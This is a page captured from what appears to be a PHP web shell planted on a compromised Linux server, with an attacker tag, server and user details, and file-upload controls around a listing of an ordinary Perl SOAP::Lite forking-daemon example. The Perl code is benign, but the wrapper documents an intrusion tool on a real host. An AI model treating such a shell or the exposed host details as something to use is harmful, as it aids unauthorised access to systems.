Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /usr/share/doc/perl-SOAP-Lite/examples/SOAP/Transport/HTTP/Daemon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/perl-SOAP-Lite/examples/SOAP/Transport/HTTP/Daemon/ForkOnAccept.pm
package SOAP::Transport::HTTP::Daemon::ForkOnAccept;

use strict;
use vars qw(@ISA);
use SOAP::Transport::HTTP;

# Idea and implementation of Michael Douglass

@ISA = qw(SOAP::Transport::HTTP::Daemon);

sub handle {
  my $self = shift->new;

  CLIENT:
  while (my $c = $self->accept) {
    my $pid = fork();

    # We are going to close the new connection on one of two conditions
    #  1. The fork failed ($pid is undefined)
    #  2. We are the parent ($pid != 0)
    unless( defined $pid && $pid == 0 ) {
      $c->close;
      next;
    }
    # From this point on, we are the child.

    $self->close;  # Close the listening socket (always done in children)

    # Handle requests as they come in
    while (my $r = $c->get_request) {
      $self->request($r);
      $self->SOAP::Transport::HTTP::Server::handle;
      $c->send_response($self->response);
    }
    $c->close;
    return;
  }
}

1;

Hry